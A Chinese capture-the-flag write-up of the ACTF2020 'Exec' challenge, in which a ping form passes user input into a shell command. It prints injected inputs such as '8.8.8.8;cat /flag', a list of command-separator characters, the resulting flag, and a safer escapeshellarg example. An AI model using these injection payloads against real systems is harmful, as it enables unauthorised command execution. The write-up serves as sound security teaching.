[ACTF2020 新生赛]Exec 思路及解法

大家好,你们可以叫我凌,是个16岁的网络安全学习者。

今天我们刷下 ACTF2020 新生赛Exec 这道题,依旧分享我的解题思路和解法。


解题思路

先启动靶场。

访问靶场主界面。

发现有个可以输入IP的窗口,我们不着急测试,先查看前端代码看看有没有什么其他线索。

html 复制代码
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>command execution</title>
    <link href="http://libs.baidu.com/bootstrap/3.0.3/css/bootstrap.min.css" rel="stylesheet" />


</head>
<body>

<h1>PING</h1>
<form class="form-inline" method="post">

    <div class="input-group">
        <input style="width:280px;" id="target" type="text" class="form-control" placeholder="请输入需要ping的地址" aria-describedby="basic-addon1" name="target">
    </div>
    <br/>
    <br/>

    <button  style="width:280px;" class="btn btn-default">PING</button>


</form>
<br /><pre>
</pre></body>
</html>

观察代码,发现前端以 POST 方式通过 input 标签传输了个 target 的文本类型的参数到后端处理。

既然是执行系统的命令,那可能该参数是直接拼接到系统命令当中。

我们先输入个IP地址看看返回的是什么内容。

8.8.8.8 是 Google LLC 提供的免费 DNS 服务器 IP 地址,感兴趣或不太了解的朋友可以自行搜索了解。此外,也可以使用 114.114.114.114 这个 IP 地址,它相比 8.8.8.8 在国内更加稳定。

很好,可以确定的是后端可能是直接拼接到系统命令当中的,可能存在RCE漏洞。

那在这里我进行补充,如果后端代码使用安全的函数则可以在一定程度上提高安全性,但最好还是使用白名单进行校验

php 复制代码
$target = escapeshellarg($_POST['target']);
system("ping -c 4 " . $target);

我们继续深入,不清楚后端是什么系统,那我们先使用 "ls" 探探虚实(Windows是使用dir命令)

bash 复制代码
PING 8.8.8.8 (8.8.8.8): 56 data bytes
64 bytes from 8.8.8.8: seq=0 ttl=42 time=201.661 ms
64 bytes from 8.8.8.8: seq=1 ttl=42 time=198.211 ms
64 bytes from 8.8.8.8: seq=2 ttl=42 time=194.756 ms

--- 8.8.8.8 ping statistics ---
3 packets transmitted, 3 packets received, 0% packet loss
round-trip min/avg/max = 194.756/198.209/201.661 ms
index.php

很好,目录列表出来了,不过并没有我们需要的flag。

我们使用 "../" 继续深入

bash 复制代码
PING 8.8.8.8 (8.8.8.8): 56 data bytes
64 bytes from 8.8.8.8: seq=0 ttl=42 time=199.019 ms
64 bytes from 8.8.8.8: seq=1 ttl=42 time=198.391 ms
64 bytes from 8.8.8.8: seq=2 ttl=42 time=194.943 ms

--- 8.8.8.8 ping statistics ---
3 packets transmitted, 3 packets received, 0% packet loss
round-trip min/avg/max = 194.943/197.451/199.019 ms
html
localhost

依旧没有,在这里我们可以继续添加 "../" 来进行深入,或者说直接拼接 "/" 查看根目录。

这个依个人习惯而定,在这里我就按照本人习惯直接查看根目录了。

bash 复制代码
8.8.8.8;ls /

发现可能藏有 flag 的文件!接下来我们直接使用 cat 尝试读取

bash 复制代码
8.8.8.8;cat /flag

这样子,flag就成功爆出来了!

bash 复制代码
PING 8.8.8.8 (8.8.8.8): 56 data bytes
64 bytes from 8.8.8.8: seq=0 ttl=42 time=202.624 ms
64 bytes from 8.8.8.8: seq=1 ttl=42 time=197.311 ms
64 bytes from 8.8.8.8: seq=2 ttl=42 time=198.840 ms

--- 8.8.8.8 ping statistics ---
3 packets transmitted, 3 packets received, 0% packet loss
round-trip min/avg/max = 197.311/199.591/202.624 ms
CTF2{40e17a4a-6a8d-4fef-ad8f-d0e83710ea0c}

靶场小结

考点标签

命令注入、输入验证、管道符与分号

核心教训

  1. 功能点即攻击面:页面上的"Ping"功能,背后大概率调用了系统命令。看到这类功能,第一反应就应该是测试命令拼接符。

  2. 命令注入的肌肉记忆:";" "|" "&" "&&" "||" "%0a" 这些拼接符应牢牢记住。本题无任何过滤,分号 ";" 直接生效。

  3. 无过滤时的最简 Payload:"8.8.8.8; cat /flag" ------前面的合法输入用来让原命令正常执行(或者至少不报错),分号切断后直接执行读取命令。这是命令注入最经典、最优雅的利用形式。

解题关键步骤

  1. 打开靶场,看到输入框和 ping 功能。

  2. 输入 8.8.8.8 测试正常功能,确认页面返回 ping 结果。

  3. 输入 8.8.8.8; ls 测试拼接,页面回显目录列表,确认命令注入漏洞存在。

  4. 输入 8.8.8.8; cat /flag 读取根目录下的 Flag 文件。

  5. 拿到 Flag:CTF2{40e17a4a-6a8d-4fef-ad8f-d0e83710ea0c}。

相关推荐
Full Stack Developme3 小时前
Java LRU 与 LFU 算法及应用
java·开发语言·算法
Jerry4 小时前
LeetCode 707. 设计链表
算法
C语言小火车4 小时前
C++ 堆排序深度精讲:基于完全二叉树的选择排序进化,最坏情况 O(n log n) 的稳定王者
开发语言·c++·算法·排序算法·堆排序
kebidaixu4 小时前
两轮BMS AFE SH367306 I2C 读写时序
算法
智能排队系统_头部供应商4 小时前
RK3588边缘网关改造银行排队系统实战
算法
东方佑5 小时前
临界分词的存在性与最优性:从统计临界态到神经语言模型的双语实证检验
人工智能·算法·语言模型
Fabarta5 小时前
从 0 实现 ChatGPT 风格的流式对话 UI
算法·架构
手写码匠5 小时前
手写 AI 上下文压缩系统:从零实现 Prompt 压缩与选择性上下文管理
人工智能·深度学习·算法·aigc